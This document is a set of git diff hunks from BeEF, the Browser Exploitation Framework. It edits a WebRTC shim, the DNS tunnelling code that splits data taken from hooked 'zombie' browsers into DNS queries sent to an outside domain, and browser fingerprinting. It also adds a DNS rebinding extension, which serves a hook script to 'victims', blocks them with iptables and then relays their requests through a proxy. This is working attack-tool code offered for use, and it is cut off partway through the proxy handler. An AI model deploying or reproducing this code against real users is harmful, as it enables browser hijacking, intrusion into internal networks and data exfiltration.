}
|
||||
return iceServers;
|
||||
};
|
||||
// the minimum chrome version still supported by adapter.
|
||||
webrtcMinimumVersion = 38;
|
||||
|
||||
// The RTCPeerConnection object.
|
||||
var RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
// .urls is supported since Chrome M34.
|
||||
if (webrtcDetectedVersion < 34) {
|
||||
maybeFixConfiguration(pcConfig);
|
||||
}
|
||||
return new webkitRTCPeerConnection(pcConfig, pcConstraints);
|
||||
}
|
||||
window.RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
var pc = new webkitRTCPeerConnection(pcConfig, pcConstraints);
|
||||
var origGetStats = pc.getStats.bind(pc);
|
||||
pc.getStats = function(selector, successCallback, errorCallback) { // jshint ignore: line
|
||||
// If selector is a function then we are in the old style stats so just
|
||||
// pass back the original getStats format to avoid breaking old users.
|
||||
if (typeof selector === 'function') {
|
||||
return origGetStats(selector, successCallback);
|
||||
}
|
||||
|
||||
// Get UserMedia (only difference is the prefix).
|
||||
// Code from Adam Barth.
|
||||
getUserMedia = navigator.webkitGetUserMedia.bind(navigator);
|
||||
var fixChromeStats = function(response) {
|
||||
var standardReport = {};
|
||||
var reports = response.result();
|
||||
reports.forEach(function(report) {
|
||||
var standardStats = {
|
||||
id: report.id,
|
||||
timestamp: report.timestamp,
|
||||
type: report.type
|
||||
};
|
||||
report.names().forEach(function(name) {
|
||||
standardStats[name] = report.stat(name);
|
||||
});
|
||||
standardReport[standardStats.id] = standardStats;
|
||||
});
|
||||
|
||||
return standardReport;
|
||||
};
|
||||
var successCallbackWrapper = function(response) {
|
||||
successCallback(fixChromeStats(response));
|
||||
};
|
||||
return origGetStats(successCallbackWrapper, selector);
|
||||
};
|
||||
|
||||
return pc;
|
||||
};
|
||||
|
||||
// add promise support
|
||||
['createOffer', 'createAnswer'].forEach(function(method) {
|
||||
var nativeMethod = webkitRTCPeerConnection.prototype[method];
|
||||
webkitRTCPeerConnection.prototype[method] = function() {
|
||||
var self = this;
|
||||
if (arguments.length < 1 || (arguments.length === 1 &&
|
||||
typeof(arguments[0]) === 'object')) {
|
||||
var opts = arguments.length === 1 ? arguments[0] : undefined;
|
||||
return new Promise(function(resolve, reject) {
|
||||
nativeMethod.apply(self, [resolve, reject, opts]);
|
||||
});
|
||||
} else {
|
||||
return nativeMethod.apply(this, arguments);
|
||||
}
|
||||
};
|
||||
});
|
||||
|
||||
['setLocalDescription', 'setRemoteDescription',
|
||||
'addIceCandidate'].forEach(function(method) {
|
||||
var nativeMethod = webkitRTCPeerConnection.prototype[method];
|
||||
webkitRTCPeerConnection.prototype[method] = function() {
|
||||
var args = arguments;
|
||||
var self = this;
|
||||
return new Promise(function(resolve, reject) {
|
||||
nativeMethod.apply(self, [args[0],
|
||||
function() {
|
||||
resolve();
|
||||
if (args.length >= 2) {
|
||||
args[1].apply(null, []);
|
||||
}
|
||||
},
|
||||
function(err) {
|
||||
reject(err);
|
||||
if (args.length >= 3) {
|
||||
args[2].apply(null, [err]);
|
||||
}
|
||||
}]
|
||||
);
|
||||
});
|
||||
};
|
||||
});
|
||||
|
||||
// getUserMedia constraints shim.
|
||||
getUserMedia = function(c, onSuccess, onError) {
|
||||
var constraintsToChrome = function(c) {
|
||||
if (typeof c !== 'object' || c.mandatory || c.optional) {
|
||||
return c;
|
||||
}
|
||||
var cc = {};
|
||||
Object.keys(c).forEach(function(key) {
|
||||
if (key === 'require' || key === 'advanced') {
|
||||
return;
|
||||
}
|
||||
var r = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]};
|
||||
if (r.exact !== undefined && typeof r.exact === 'number') {
|
||||
r.min = r.max = r.exact;
|
||||
}
|
||||
var oldname = function(prefix, name) {
|
||||
if (prefix) {
|
||||
return prefix + name.charAt(0).toUpperCase() + name.slice(1);
|
||||
}
|
||||
return (name === 'deviceId') ? 'sourceId' : name;
|
||||
};
|
||||
if (r.ideal !== undefined) {
|
||||
cc.optional = cc.optional || [];
|
||||
var oc = {};
|
||||
if (typeof r.ideal === 'number') {
|
||||
oc[oldname('min', key)] = r.ideal;
|
||||
cc.optional.push(oc);
|
||||
oc = {};
|
||||
oc[oldname('max', key)] = r.ideal;
|
||||
cc.optional.push(oc);
|
||||
} else {
|
||||
oc[oldname('', key)] = r.ideal;
|
||||
cc.optional.push(oc);
|
||||
}
|
||||
}
|
||||
if (r.exact !== undefined && typeof r.exact !== 'number') {
|
||||
cc.mandatory = cc.mandatory || {};
|
||||
cc.mandatory[oldname('', key)] = r.exact;
|
||||
} else {
|
||||
['min', 'max'].forEach(function(mix) {
|
||||
if (r[mix] !== undefined) {
|
||||
cc.mandatory = cc.mandatory || {};
|
||||
cc.mandatory[oldname(mix, key)] = r[mix];
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
if (c.advanced) {
|
||||
cc.optional = (cc.optional || []).concat(c.advanced);
|
||||
}
|
||||
return cc;
|
||||
};
|
||||
beef.debug('spec: ' + JSON.stringify(c)); // whitespace for alignment
|
||||
c.audio = constraintsToChrome(c.audio);
|
||||
c.video = constraintsToChrome(c.video);
|
||||
beef.debug('chrome: ' + JSON.stringify(c));
|
||||
return navigator.webkitGetUserMedia(c, onSuccess, onError);
|
||||
};
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Attach a media stream to an element.
|
||||
attachMediaStream = function(element, stream) {
|
||||
if (typeof element.srcObject !== 'undefined') {
|
||||
element.srcObject = stream;
|
||||
} else if (typeof element.mozSrcObject !== 'undefined') {
|
||||
element.mozSrcObject = stream;
|
||||
} else if (typeof element.src !== 'undefined') {
|
||||
element.src = URL.createObjectURL(stream);
|
||||
} else {
|
||||
@@ -195,6 +332,78 @@ if (navigator.mozGetUserMedia) {
|
||||
reattachMediaStream = function(to, from) {
|
||||
to.src = from.src;
|
||||
};
|
||||
|
||||
if (!navigator.mediaDevices) {
|
||||
navigator.mediaDevices = {getUserMedia: requestUserMedia,
|
||||
enumerateDevices: function() {
|
||||
return new Promise(function(resolve) {
|
||||
var kinds = {audio: 'audioinput', video: 'videoinput'};
|
||||
return MediaStreamTrack.getSources(function(devices) {
|
||||
resolve(devices.map(function(device) {
|
||||
return {label: device.label,
|
||||
kind: kinds[device.kind],
|
||||
deviceId: device.id,
|
||||
groupId: ''};
|
||||
}));
|
||||
});
|
||||
});
|
||||
}};
|
||||
// in case someone wants to listen for the devicechange event.
|
||||
navigator.mediaDevices.addEventListener = function() { };
|
||||
navigator.mediaDevices.removeEventListener = function() { };
|
||||
}
|
||||
} else if (navigator.mediaDevices && navigator.userAgent.match(
|
||||
/Edge\/(\d+).(\d+)$/)) {
|
||||
webrtcDetectedBrowser = 'edge';
|
||||
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)[2], 10);
|
||||
|
||||
// the minimum version still supported by adapter.
|
||||
webrtcMinimumVersion = 12;
|
||||
|
||||
attachMediaStream = function(element, stream) {
|
||||
element.srcObject = stream;
|
||||
};
|
||||
reattachMediaStream = function(to, from) {
|
||||
to.srcObject = from.srcObject;
|
||||
};
|
||||
} else {
|
||||
beef.debug("Browser does not appear to be WebRTC-capable");
|
||||
// console.log('Browser does not appear to be WebRTC-capable');
|
||||
}
|
||||
|
||||
// Returns the result of getUserMedia as a Promise.
|
||||
function requestUserMedia(constraints) {
|
||||
return new Promise(function(resolve, reject) {
|
||||
getUserMedia(constraints, resolve, reject);
|
||||
});
|
||||
}
|
||||
|
||||
if (typeof module !== 'undefined') {
|
||||
module.exports = {
|
||||
RTCPeerConnection: window.RTCPeerConnection,
|
||||
getUserMedia: getUserMedia,
|
||||
attachMediaStream: attachMediaStream,
|
||||
reattachMediaStream: reattachMediaStream,
|
||||
webrtcDetectedBrowser: webrtcDetectedBrowser,
|
||||
webrtcDetectedVersion: webrtcDetectedVersion,
|
||||
webrtcMinimumVersion: webrtcMinimumVersion
|
||||
//requestUserMedia: not exposed on purpose.
|
||||
//trace: not exposed on purpose.
|
||||
};
|
||||
} else if ((typeof require === 'function') && (typeof define === 'function')) {
|
||||
// Expose objects and functions when RequireJS is doing the loading.
|
||||
define([], function() {
|
||||
return {
|
||||
RTCPeerConnection: window.RTCPeerConnection,
|
||||
getUserMedia: getUserMedia,
|
||||
attachMediaStream: attachMediaStream,
|
||||
reattachMediaStream: reattachMediaStream,
|
||||
webrtcDetectedBrowser: webrtcDetectedBrowser,
|
||||
webrtcDetectedVersion: webrtcDetectedVersion,
|
||||
webrtcMinimumVersion: webrtcMinimumVersion
|
||||
//requestUserMedia: not exposed on purpose.
|
||||
//trace: not exposed on purpose.
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
@@ -270,6 +270,7 @@ beef.net = {
|
||||
response.status_code = jqXHR.status;
|
||||
response.status_text = textStatus;
|
||||
response.duration = (end_time - start_time);
|
||||
response.port_status = "open";
|
||||
},
|
||||
complete: function (jqXHR, textStatus) {
|
||||
response.status_code = jqXHR.status;
|
||||
@@ -286,7 +287,7 @@ beef.net = {
|
||||
response.port_status = "open";
|
||||
}
|
||||
}
|
||||
}).done(function () {
|
||||
}).always(function () {
|
||||
if (callback != null) {
|
||||
callback(response);
|
||||
}
|
||||
|
||||
@@ -30,9 +30,8 @@ beef.net.dns = {
|
||||
|
||||
var encodedData = encodeURI(encode_data(data));
|
||||
|
||||
//TODO remove this
|
||||
console.log(encodedData);
|
||||
console.log("_encodedData_ length: " + encodedData.length);
|
||||
beef.debug(encodedData);
|
||||
beef.debug("_encodedData_ length: " + encodedData.length);
|
||||
|
||||
// limitations to DNS according to RFC 1035:
|
||||
// o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
|
||||
@@ -50,8 +49,7 @@ beef.net.dns = {
|
||||
var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
|
||||
var max_data_segment_length = 63; // by RFC
|
||||
|
||||
//TODO remove this
|
||||
console.log("max_data_segment_length: " + max_data_segment_length);
|
||||
beef.debug("max_data_segment_length: " + max_data_segment_length);
|
||||
|
||||
var dom = document.createElement('b');
|
||||
|
||||
@@ -76,8 +74,7 @@ beef.net.dns = {
|
||||
|
||||
var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
|
||||
|
||||
//TODO remove this
|
||||
console.log(segments.length);
|
||||
beef.debug(segments.length);
|
||||
|
||||
for (var seq=1; seq<=segments.length; seq++) {
|
||||
sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
|
||||
|
||||
@@ -67,10 +67,12 @@ Beefwebrtc.prototype.initialize = function() {
|
||||
|
||||
// Initialise the pcConfig hash with the provided stunservers
|
||||
var stuns = JSON.parse(this.stunservers);
|
||||
this.pcConfig = {"iceServers": [{"urls":stuns}]};
|
||||
this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
|
||||
"credential":"pass"}]};
|
||||
|
||||
// We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
|
||||
this.forceTurn(this.turnjson);
|
||||
// this.forceTurn(this.turnjson);
|
||||
this.turnDone = true;
|
||||
|
||||
// Caller is always ready to create peerConnection.
|
||||
this.signalingReady = this.initiator;
|
||||
@@ -450,6 +452,18 @@ Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
|
||||
if (localverbose === true) {beef.debug('Failed to create session description: ' + error.toString());}
|
||||
}
|
||||
|
||||
// If the browser successfully sets a remote description
|
||||
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
|
||||
var localverbose = false;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].verbose === true) {
|
||||
localverbose = true;
|
||||
}
|
||||
}
|
||||
if (localverbose === true) {beef.debug('Set remote session description successfully');}
|
||||
}
|
||||
|
||||
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
|
||||
Beefwebrtc.prototype.calleeStart = function() {
|
||||
// Callee starts to process cached offer and other messages.
|
||||
@@ -467,11 +481,55 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
||||
|
||||
if (message.type === 'offer') {
|
||||
if (this.verbose) {beef.debug("Processing signalling message: OFFER");}
|
||||
this.setRemote(message);
|
||||
this.doAnswer();
|
||||
if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
|
||||
// version of FF - which no longer works
|
||||
if (this.verbose) {beef.debug("Moz shim here");}
|
||||
globalrtc[this.peerid].setRemoteDescription(
|
||||
new RTCSessionDescription(message),
|
||||
function() {
|
||||
// globalrtc[this.peerid].createAnswer(function(answer) {
|
||||
// globalrtc[this.peerid].setLocalDescription(
|
||||
|
||||
var peerid = null;
|
||||
|
||||
for (var k in beefrtcs) {
|
||||
if (beefrtcs[k].allgood === false) {
|
||||
peerid = beefrtcs[k].peerid;
|
||||
}
|
||||
}
|
||||
|
||||
globalrtc[peerid].createAnswer(function(answer) {
|
||||
globalrtc[peerid].setLocalDescription(
|
||||
new RTCSessionDescription(answer),
|
||||
function() {
|
||||
beefrtcs[peerid].sendSignalMsg(answer);
|
||||
},function(error) {
|
||||
beef.debug("setLocalDescription error: " + error);
|
||||
});
|
||||
},function(error) {
|
||||
beef.debug("createAnswer error: " +error);
|
||||
});
|
||||
},function(error) {
|
||||
beef.debug("setRemoteDescription error: " + error);
|
||||
});
|
||||
|
||||
} else {
|
||||
this.setRemote(message);
|
||||
this.doAnswer();
|
||||
}
|
||||
} else if (message.type === 'answer') {
|
||||
if (this.verbose) {beef.debug("Processing signalling message: ANSWER");}
|
||||
this.setRemote(message);
|
||||
if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
|
||||
if (this.verbose) {beef.debug("Moz shim here");}
|
||||
globalrtc[this.peerid].setRemoteDescription(
|
||||
new RTCSessionDescription(message),
|
||||
function() {},
|
||||
function(error) {
|
||||
beef.debug("setRemoteDescription error: " + error);
|
||||
});
|
||||
} else {
|
||||
this.setRemote(message);
|
||||
}
|
||||
} else if (message.type === 'candidate') {
|
||||
if (this.verbose) {beef.debug("Processing signalling message: CANDIDATE");}
|
||||
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
|
||||
@@ -486,11 +544,11 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
||||
// Used to set the RTC remote session
|
||||
Beefwebrtc.prototype.setRemote = function(message) {
|
||||
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
|
||||
onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
|
||||
this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
|
||||
|
||||
function onSetRemoteDescriptionSuccess() {
|
||||
if (this.verbose) {beef.debug("Set remote session description success.");}
|
||||
}
|
||||
// function onSetRemoteDescriptionSuccess() {
|
||||
// if (this.verbose) {beef.debug("Set remote session description success.");}
|
||||
// }
|
||||
}
|
||||
|
||||
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
|
||||
@@ -585,4 +643,4 @@ beef.webrtc = {
|
||||
}
|
||||
}
|
||||
}
|
||||
beef.regCmp('beef.webrtc');
|
||||
beef.regCmp('beef.webrtc');
|
||||
|
||||
@@ -180,8 +180,7 @@ module BeEF
|
||||
if config.get("beef.extension.network.enable") == true
|
||||
if proxy_server =~ /^([\d\.]+):([\d]+)$/
|
||||
print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{$1}]")
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy', :cid => 'init')
|
||||
r.save
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy', :cid => 'init')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -324,7 +323,7 @@ module BeEF
|
||||
components = [
|
||||
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
|
||||
'HasWebSocket', 'HasWebRTC', 'HasActiveX',
|
||||
'HasSilverlight', 'HasQuickTime', 'HasRealPlayer', 'HasWMP',
|
||||
'HasQuickTime', 'HasRealPlayer', 'HasWMP',
|
||||
'hasSessionCookies', 'hasPersistentCookies'
|
||||
]
|
||||
components.each do |k|
|
||||
@@ -358,8 +357,7 @@ module BeEF
|
||||
# add localhost as network host
|
||||
if config.get('beef.extension.network.enable')
|
||||
print_debug("Hooked browser has network interface 127.0.0.1")
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName'), :cid => 'init')
|
||||
r.save
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName'), :cid => 'init')
|
||||
end
|
||||
|
||||
# Autorun Rule Engine - Check if the hooked browser type/version and OS type/version match any Rule-sets
|
||||
|
||||
@@ -59,7 +59,7 @@ module Handlers
|
||||
# Binds a file to a mount point
|
||||
# @param [String] file File path to asset
|
||||
# @param [String] path URL path to mount the asset to (can be nil for random path)
|
||||
# @param [String] extension Extension to append to the URL path (can be nil for none)
|
||||
# @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for()
|
||||
# @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
|
||||
# @return [String] URL Path of mounted asset
|
||||
# @todo This function should accept a hooked browser session to limit the mounted file to a certain session
|
||||
@@ -71,13 +71,20 @@ module Handlers
|
||||
'count' => count}
|
||||
|
||||
resp_body = File.read("#{root_dir}#{file}")
|
||||
|
||||
if extension.nil? || MIME::Types.type_for(extension).empty?
|
||||
content_type = 'text/plain'
|
||||
else
|
||||
content_type = MIME::Types.type_for(extension).first.content_type
|
||||
end
|
||||
|
||||
@http_server.mount(
|
||||
url,
|
||||
BeEF::Core::NetworkStack::Handlers::Raw.new('200', {'Content-Type'=>'text/plain'}, resp_body)
|
||||
BeEF::Core::NetworkStack::Handlers::Raw.new('200', {'Content-Type' => content_type}, resp_body)
|
||||
)
|
||||
|
||||
@http_server.remap
|
||||
print_info "File [#{file}] bound to url [#{url}]"
|
||||
print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]"
|
||||
|
||||
url
|
||||
end
|
||||
|
||||
@@ -32,14 +32,17 @@ module BeEF
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
|
||||
PQ << {
|
||||
begin
|
||||
PQ << {
|
||||
:beefhook => params[:bh],
|
||||
:stream_id => Integer(params[:sid]),
|
||||
:packet_id => Integer(params[:pid]),
|
||||
:packet_count => Integer(params[:pc]),
|
||||
:data => params[:d]
|
||||
}
|
||||
}
|
||||
rescue TypeError, ArgumentError => e
|
||||
print_error "Hooked browser returned an invalid argument: #{e}"
|
||||
end
|
||||
|
||||
Thread.new {
|
||||
check_packets()
|
||||
|
||||
@@ -38,7 +38,9 @@ module BeEF
|
||||
droppers_dir = File.expand_path('..', __FILE__) + "/../../../../extensions/social_engineering/droppers/"
|
||||
|
||||
if File.exists?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file)
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind("/extensions/social_engineering/droppers/#{local_file}", mount)
|
||||
f_ext = File.extname(local_file).gsub('.','')
|
||||
f_ext = nil if f_ext.empty?
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind("/extensions/social_engineering/droppers/#{local_file}", mount, f_ext)
|
||||
status 200
|
||||
else
|
||||
halt 400
|
||||
|
||||
@@ -12,8 +12,8 @@ end
|
||||
|
||||
# @note Prevent system from ever being used
|
||||
def system(args)
|
||||
puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base."
|
||||
exit
|
||||
puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base."
|
||||
exit
|
||||
end
|
||||
|
||||
# @note Prevent Kernel.system from ever being used
|
||||
|
||||
@@ -90,7 +90,7 @@ module API
|
||||
if !config.get("beef.http.web_server_imitation.enable")
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
|
||||
"/extensions/admin_ui/media#{config.get("beef.extension.admin_ui.favicon_dir")}/#{config.get("beef.extension.admin_ui.favicon_file_name")}",
|
||||
'/favicon.ico')
|
||||
'/favicon.ico', 'ico')
|
||||
end
|
||||
|
||||
self.build_javascript_ui beef_server
|
||||
|
||||
@@ -83,7 +83,6 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
['Browser Components', 'VBScript', 'VBScriptEnabled'],
|
||||
['Browser Components', 'PhoneGap', 'HasPhonegap'],
|
||||
['Browser Components', 'Google Gears', 'HasGoogleGears'],
|
||||
['Browser Components', 'Silverlight', 'HasSilverlight'],
|
||||
['Browser Components', 'Web Sockets', 'HasWebSocket'],
|
||||
['Browser Components', 'QuickTime', 'HasQuickTime'],
|
||||
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
|
||||
|
||||
@@ -89,7 +89,6 @@ module BeEF
|
||||
has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears')
|
||||
has_webrtc = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebRTC')
|
||||
has_activex = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasActiveX')
|
||||
has_silverlight = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasSilverlight')
|
||||
has_quicktime = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasQuickTime')
|
||||
has_realplayer = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasRealPlayer')
|
||||
has_wmp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWMP')
|
||||
@@ -112,7 +111,6 @@ module BeEF
|
||||
'has_googlegears' => has_googlegears,
|
||||
'has_webrtc' => has_webrtc,
|
||||
'has_activex' => has_activex,
|
||||
'has_silverlight' => has_silverlight,
|
||||
'has_quicktime' => has_quicktime,
|
||||
'has_wmp' => has_wmp,
|
||||
'has_realplayer' => has_realplayer,
|
||||
|
||||
@@ -29,7 +29,6 @@ var ZombiesMgr = function(zombies_tree_lists) {
|
||||
var has_webrtc = zombie_array[index]["has_webrtc"];
|
||||
var has_activex = zombie_array[index]["has_activex"];
|
||||
var has_wmp = zombie_array[index]["has_wmp"];
|
||||
var has_silverlight = zombie_array[index]["has_silverlight"];
|
||||
var has_quicktime = zombie_array[index]["has_quicktime"];
|
||||
var has_realplayer = zombie_array[index]["has_realplayer"];
|
||||
var date_stamp = zombie_array[index]["date_stamp"];
|
||||
@@ -48,7 +47,6 @@ var ZombiesMgr = function(zombies_tree_lists) {
|
||||
balloon_text+= "<br/>Web Sockets: " + has_web_sockets;
|
||||
balloon_text+= "<br/>WebRTC: " + has_webrtc;
|
||||
balloon_text+= "<br/>ActiveX: " + has_activex;
|
||||
balloon_text+= "<br/>Silverlight: " + has_silverlight;
|
||||
balloon_text+= "<br/>QuickTime: " + has_quicktime;
|
||||
balloon_text+= "<br/>Windows MediaPlayer: " + has_wmp;
|
||||
balloon_text+= "<br/>RealPlayer: " + has_realplayer;
|
||||
|
||||
@@ -296,7 +296,6 @@ class ShellInterface
|
||||
['Browser Components', 'VBScript', 'VBScriptEnabled'],
|
||||
['Browser Components', 'PhoneGap', 'HasPhonegap'],
|
||||
['Browser Components', 'Google Gears', 'HasGoogleGears'],
|
||||
['Browser Components', 'Silverlight', 'HasSilverlight'],
|
||||
['Browser Components', 'Web Sockets', 'HasWebSocket'],
|
||||
['Browser Components', 'QuickTime', 'HasQuickTime'],
|
||||
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
|
||||
|
||||
28
extensions/dns_rebinding/api.rb
Normal file
28
extensions/dns_rebinding/api.rb
Normal file
@@ -0,0 +1,28 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
module API
|
||||
|
||||
module ServHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::DNSRebinding::API::ServHandler,
|
||||
BeEF::API::Server,
|
||||
'pre_http_start'
|
||||
)
|
||||
|
||||
def self.pre_http_start(http_hook_server)
|
||||
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
||||
address_http = config['address_http_internal']
|
||||
address_proxy = config['address_proxy_internal']
|
||||
port_http = config['port_http']
|
||||
port_proxy = config['port_proxy']
|
||||
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
|
||||
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
15
extensions/dns_rebinding/config.yaml
Normal file
15
extensions/dns_rebinding/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
beef:
|
||||
extension:
|
||||
dns_rebinding:
|
||||
enable: true
|
||||
name: 'DNS Rebinding'
|
||||
authors: ['Milovanov T.I.']
|
||||
#Addresses are split into internal/external for more convenient attack
|
||||
#from LAN.
|
||||
address_http_internal: '192.168.x.x'
|
||||
address_http_external: 'x.x.x.x'
|
||||
address_proxy_internal: '192.168.x.x'
|
||||
address_proxy_external: 'x.x.x.x'
|
||||
port_http: 80
|
||||
port_proxy: 81
|
||||
debug_mode: true
|
||||
230
extensions/dns_rebinding/dns_rebinding.rb
Normal file
230
extensions/dns_rebinding/dns_rebinding.rb
Normal file
@@ -0,0 +1,230 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
#Very simple HTTP server. Its task is only hook victim
|
||||
class Server
|
||||
@debug_mode = false
|
||||
def self.log(msg)
|
||||
if @debug_mode
|
||||
STDERR.puts msg.to_s
|
||||
end
|
||||
end
|
||||
|
||||
def self.run_server(address, port)
|
||||
server = TCPServer.new(address, port)
|
||||
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
|
||||
loop do
|
||||
s = server.accept
|
||||
Thread.new(s) do |socket|
|
||||
victim_ip = socket.peeraddr[2].to_s
|
||||
|
||||
log "-------------------------------\n"
|
||||
log "[Server] Incoming request from "+victim_ip+"(Victim)\n"
|
||||
|
||||
response = File.read(File.expand_path('../views/index.html', __FILE__))
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
|
||||
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
hook_file = configuration.get("beef.http.hook_file")
|
||||
hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}"
|
||||
|
||||
response.sub!('path_to_hookjs_template', hook_uri)
|
||||
|
||||
start_string = socket.gets
|
||||
socket.print "HTTP/1.1 200 OK\r\n" +
|
||||
"Content-Type: text/html\r\n" +
|
||||
"Content-Length: #{response.bytesize}\r\n" +
|
||||
"Connection: close\r\n"
|
||||
socket.print "\r\n"
|
||||
socket.print response
|
||||
socket.close
|
||||
|
||||
#Indicate that victim load all javascript and we can block it with iptables.
|
||||
dr_config = configuration.get("beef.extension.dns_rebinding")
|
||||
if start_string.include?("load")
|
||||
log "[Server] Block with iptables\n"
|
||||
port_http = dr_config['port_http']
|
||||
if BeEF::Filters::is_valid_ip?(victim_ip) && port_http.kind_of?(Integer)
|
||||
IO.popen(["iptables","-A","INPUT","-s","#{victim_ip}","-p","tcp","--dport","#{port_http}","-j","REJECT","--reject-with","tcp-reset"], 'r+'){|io|}
|
||||
else
|
||||
print_error "[Dns_Rebinding] victim_ip or port_http values are illegal."
|
||||
end
|
||||
end
|
||||
log "-------------------------------\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Proxy
|
||||
@queries = Queue.new
|
||||
@responses = {}
|
||||
@mutex_responses = nil
|
||||
@mutex_queries = nil
|
||||
@debug_mode = false
|
||||
|
||||
def self.send_http_response(socket, response, heads={})
|
||||
socket.print "HTTP/1.1 200 OK\r\n"
|
||||
|
||||
headers = {}
|
||||
headers["Content-Type"]="text/html"
|
||||
headers["Content-Length"]=response.size.to_s
|
||||
headers["Connection"]="close"
|
||||
headers["Access-Control-Allow-Origin"]="*"
|
||||
headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS"
|
||||
headers["Access-Control-Expose-Headers"]="Content-Type, method, path"
|
||||
headers["Access-Control-Allow-Headers"]="Content-Type, method, path"
|
||||
|
||||
headers_a = heads.to_a
|
||||
headers_a.each do |header, value|
|
||||
headers[header] = value
|
||||
end
|
||||
|
||||
headers.to_a.each do |header, value|
|
||||
socket.print header+": "+value+"\r\n"
|
||||
end
|
||||
|
||||
socket.print "\r\n"
|
||||
socket.print response
|
||||
end
|
||||
|
||||
def self.log(log_message)
|
||||
if @debug_mode
|
||||
STDERR.puts log_message
|
||||
end
|
||||
end
|
||||
|
||||
def self.read_http_message(socket)
|
||||
message = {}
|
||||
message['start_string'] = socket.gets.chomp
|
||||
message['headers'] = {}
|
||||
message['response'] = ""
|
||||
c = socket.gets
|
||||
while c != "\r\n" do
|
||||
name = c[/(.+): (.+)/, 1]
|
||||
value = c[/(.+): (.+)/, 2]
|
||||
message['headers'][name] = value.chomp
|
||||
c = socket.gets
|
||||
end
|
||||
length = message['headers']['Content-Length']
|
||||
if length
|
||||
#Ruby read() doesn't return while not read all <length> byte
|
||||
resp = socket.read(length.to_i)
|
||||
message['response'] = resp
|
||||
end
|
||||
return message
|
||||
end
|
||||
|
||||
def self.handle_victim(socket, http_message)
|
||||
log "[Victim]request from victim\n"
|
||||
